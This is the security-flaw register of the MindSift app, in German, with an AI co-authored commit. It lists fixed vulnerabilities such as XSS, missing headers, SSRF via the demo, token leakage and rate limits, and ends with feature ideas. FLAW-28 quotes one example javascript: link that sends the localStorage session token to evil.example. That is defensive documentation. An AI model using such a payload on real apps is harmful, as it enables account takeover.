Files
MindSift/Doku/flaws.md
T
sandrodachandClaude Opus 5.5 9d9698186c
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
fix(security): demo sends nothing, hidden SMTP password, body limits (FLAW-33..38)
- Demo: senders for mail, Discord and webhooks refuse, no alarm ticker;
  test alarm, SMTP test, server settings, backups, account and session
  changes of the shared demo accounts answer 403; the session list only
  shows the own device. The UI shows the notices and disables the controls.
- SMTP password is never sent back (smtpPassSet), empty keeps it.
- ?token= on webhook ingest accepts only API keys.
- Request bodies capped at 2 MB (sync 8 MB, imports 101 MB).
- Deleting an account removes its server backups.
- Backup downloads, exports and import uploads get 30 minutes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:43:23 +01:00

17 KiB

Schwachstellen, Risiken & Ideen

Stand: Review des Branches dev nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.

Schweregrade: Hoch (Kontoübernahme oder Datenabfluss möglich), Mittel (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), Niedrig (Härtung, Datenschutz, Wartbarkeit).


Übersicht

ID Bereich Kurzbeschreibung Schwere
FLAW-28 Frontend javascript:-Links in Markdown (Aufgaben-Notizen) werden ausgeführt Behoben
FLAW-29 Netzwerk Keine Sicherheits-Header (CSP, Clickjacking-Schutz, nosniff) Behoben
FLAW-30 Konto Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern Behoben
FLAW-31 Auth Sitzungs-Token 30 Tage gültig und im localStorage Teilweise behoben
FLAW-32 Daten IDs und Einladungscodes haben nur 40 Bit Zufall Behoben
FLAW-33 Demo Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen) Behoben
FLAW-34 Admin SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups Teilweise behoben
FLAW-35 Netzwerk Webhook-Ingest nimmt Sitzungs-Token und Keys auch als ?token= Behoben
FLAW-36 Backend Kein allgemeines Größenlimit für JSON-Anfragen Behoben
FLAW-37 Datenschutz Konto löschen entfernt die Server-Backups des Kontos nicht Behoben
FLAW-38 Betrieb WriteTimeout von 30 s bricht große Downloads ab Behoben
FLAW-39 Auth Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse Behoben
FLAW-40 Auth Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar Behoben
FLAW-41 Qualität Sehr große Frontend-Dateien Niedrig

Details

  • Status: Behoben. safeHref (lib/safeUrl.ts) lässt nur http:, https: und mailto: zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: safeUrl.test.tsx.
  • Fundstelle: renderInline in lib/markdown.tsx: [Text](URL) wird ungeprüft zu <a href={url}>. Verwendet für Aufgaben-Notizen (TaskDetailModal) und Impressum/Datenschutz.
  • Problem: [Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token)) in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im localStorage liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur http(s)-Links erlaubt.
  • Maßnahme: Nur http:, https: und mailto: als href zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).

FLAW-29: Keine Sicherheits-Header

  • Status: Behoben. headers.go setzt CSP (script-src 'self', frame-ancestors 'none', object-src 'none', Verbindungen nur zum eigenen Server), X-Frame-Options: DENY, nosniff, Referrer-Policy: same-origin, Permissions-Policy. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
  • Fundstelle: Router in server.go, Auslieferung in cmd/server/main.go.
  • Problem: Es gibt weder Content-Security-Policy noch X-Frame-Options/frame-ancestors, X-Content-Type-Options: nosniff oder Referrer-Policy. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
  • Maßnahme: Header-Middleware: frame-ancestors 'none', nosniff, Referrer-Policy: same-origin, CSP mit script-src 'self' (Inline-Splash-Script per Hash erlauben) und connect-src 'self'.

FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar

  • Fundstelle: handleUpdateUserSettings in handlers_auth.go (PATCH /auth/settings mit password bzw. email).
  • Problem: Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (confirmPassword).
  • Maßnahme: Für Passwort- und E-Mail-Änderung currentPassword verlangen (gleiche Prüfung wie confirmPassword), Hinweis-Mail an die alte Adresse.
  • Status: Behoben. PATCH /auth/settings verlangt für password und email das aktuelle Passwort (checkCurrentPassword); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: TestPasswordChangeNeedsCurrentPassword.

FLAW-31: Langlebige Sitzung im localStorage

  • Fundstelle: GenerateToken (30 Tage) in auth.go, setToken in lib/api.ts.
  • Problem: Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
  • Maßnahme: Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
  • Status: Teilweise behoben. Serverseitige Sitzungen (sessions, sessions.go): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über X-Session-Token erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im localStorage; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: TestSessionsListEndAndLogout, TestSessionTokenRenewedWhenOld.

FLAW-32: Nur 40 Bit Zufall in IDs

  • Fundstelle: NewID in domain/models.go (5 Zufallsbytes); Einladungscodes INV-… in CreateUserInvite (users.go) leiten sich davon ab.
  • Problem: Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
  • Maßnahme: NewID auf 12 Bytes (96 Bit) anheben (Spalten sind TEXT, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
  • Status: Behoben. NewID nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (INV-ABCDE-FGHIJ-KLMNO-PQRST, newInviteCode); bereits ausgegebene Codes funktionieren weiter.

FLAW-33: Öffentliche Demo als Absender missbrauchbar

  • Fundstelle: Admin-Routen in server.go; Demo-Konto admin/admin (users.go).
  • Problem: Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
  • Ausgehende Anfragen: Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
  • Maßnahme: Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
  • Status: Behoben. Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (errDemoOutgoing), der Alarm-Ticker läuft nicht. notInDemo (demo.go) beantwortet mit 403 „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: TestDemoSendsNothingAndKeepsAccounts.

FLAW-34: SMTP-Passwort im Klartext

  • Fundstelle: handleAdminGetSettings (handlers_admin.go) liefert smtpPass aus; Speicherung in system_settings.
  • Problem: Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
  • Maßnahme: Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per SMTP_PASS-Umgebungsvariable statt Datenbank.
  • Status: Teilweise behoben. GET/PUT /admin/settings liefern smtpPass immer leer und smtpPassSet; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt SMTP_HOST/SMTP_PASS per Umgebung und lässt die Felder im Admin-UI leer. Test: TestSMTPPasswordNeverReturned.

FLAW-35: ?token= beim Webhook-Ingest

  • Fundstelle: handleWebhookIngest in handlers_integrations.go.
  • Problem: Neben X-API-Key wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
  • Maßnahme: In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
  • Status: Behoben. ?token= nimmt nur noch mindsift_sec_… an, sonst 401. Test: TestWebhookTokenInURLOnlyAPIKey.

FLAW-36: Kein allgemeines Größenlimit für Anfragen

  • Fundstelle: 46 Stellen json.NewDecoder(r.Body) ohne http.MaxBytesReader in internal/api/ (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
  • Problem: Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
  • Maßnahme: Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
  • Status: Behoben. bodyLimit (bodylimit.go) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: TestRequestBodyLimited.

FLAW-37: Server-Backups überleben das gelöschte Konto

  • Fundstelle: DeleteOwnAccount / handleAdminDeleteUser und backups/users/<id>/ (backups.go).
  • Problem: Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
  • Maßnahme: Beim Löschen eines Kontos backups/users/<id>/ mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
  • Status: Behoben. Konto löschen (selbst oder durch Admins) entfernt backups/users/<id>/ (removeUserBackups, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: TestDeletedAccountLosesServerBackups.

FLAW-38: Große Downloads brechen nach 30 s ab

  • Fundstelle: WriteTimeout: 30 * time.Second in cmd/server/main.go; betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (http.ServeFile).
  • Problem: Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
  • Maßnahme: Für Download-Handler die Schreibfrist per http.ResponseController verlängern, wie bei SSE.
  • Status: Behoben. allowLongTransfer gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.

FLAW-39: Kein Rate-Limit außerhalb des Logins

  • Fundstelle: handleRegister, handleForgotPassword (Sperre nur je Konto), Einladungscode-Prüfung.
  • Problem: Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
  • Maßnahme: Den vorhandenen loginGuard um Töpfe pro Adresse für diese Endpunkte erweitern.
  • Status: Behoben. loginGuard.throttle zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach 429 mit Retry-After. Gilt nicht für Anfragen ohne bekannte Client-Adresse; LOGIN_PROTECTION=false schaltet es mit ab. Tests: TestRegisterThrottledPerAddress, TestThrottleWindowAndSwitch.

FLAW-40: Einladungscode doppelt einlösbar

  • Fundstelle: handleRegister: GetUserInviteByCode → Konto anlegen → MarkUserInviteUsed.
  • Problem: Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
  • Maßnahme: Code in einer Transaktion bzw. per UPDATE … WHERE used_by = '' beanspruchen, bevor das Konto entsteht.
  • Status: Behoben. ClaimUserInvite beansprucht den Code per UPDATE … WHERE used_by = '' vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt ReleaseUserInvite ihn wieder frei. Tests: TestInviteCodeRedeemedOnlyOnce, TestInviteReleasedWhenAccountFails.

FLAW-41: Sehr große Frontend-Dateien

  • Fundstelle: WorkspaceView.tsx (≈ 2.300 Zeilen), TasksView.tsx (≈ 2.500), lib/api.ts (≈ 1.700).
  • Problem: Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
  • Maßnahme: In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und api.ts in REST-Client und Realtime-Transport teilen.

Ideen für Funktionen

Erfassen

  • Teilen-Ziel der App (share_target im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
  • Natürliche Zeitangaben beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
  • Mail an die Inbox: eine persönliche Adresse, deren Mails als Gedanken landen.

Aufgaben & Erinnerungen

  • Web-Push-Benachrichtigungen für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
  • Alarme auch für Zugewiesene, nicht nur für den Eigentümer der Aufgabe.
  • Zeitzone pro Benutzer statt einer Server-Zeitzone für alle.
  • Kalenderansicht und iCal-Abo der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
  • Flexiblere Wiederholungen: „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.

Notizen

  • Versionsverlauf ansehen und zurückholen: das Operations-Log (doc_ops) ist vorhanden, eine Ansicht fehlt.
  • Bilder und Anhänge in Notizen.
  • Vorlagen und Tagesnotiz (z. B. „Wochenrückblick“, „Heute“).
  • Öffentlicher Lese-Link für einzelne Notizen, mit Ablaufdatum.
  • Verlinkungs-Graph auf Basis der Backlinks.

Listen

  • Sortierung nach Laden: Kategorien in der Reihenfolge des eigenen Supermarkts.
  • Häufige Einträge vorschlagen beim Tippen (aus erledigten Einträgen).

Konto & Sicherheit

  • Zwei-Faktor-Anmeldung (TOTP) oder Passkeys.
  • Anmeldung über OIDC (Authelia, Authentik, Keycloak) für Homelab-Setups.
  • Admin-Protokoll: wer hat wann Konten, Rollen und Einstellungen geändert.

Betrieb

  • Backups an ein externes Ziel (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
  • /metrics für Prometheus und ein Healthcheck, der auch die Datenbank prüft.
  • Update-Hinweis in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.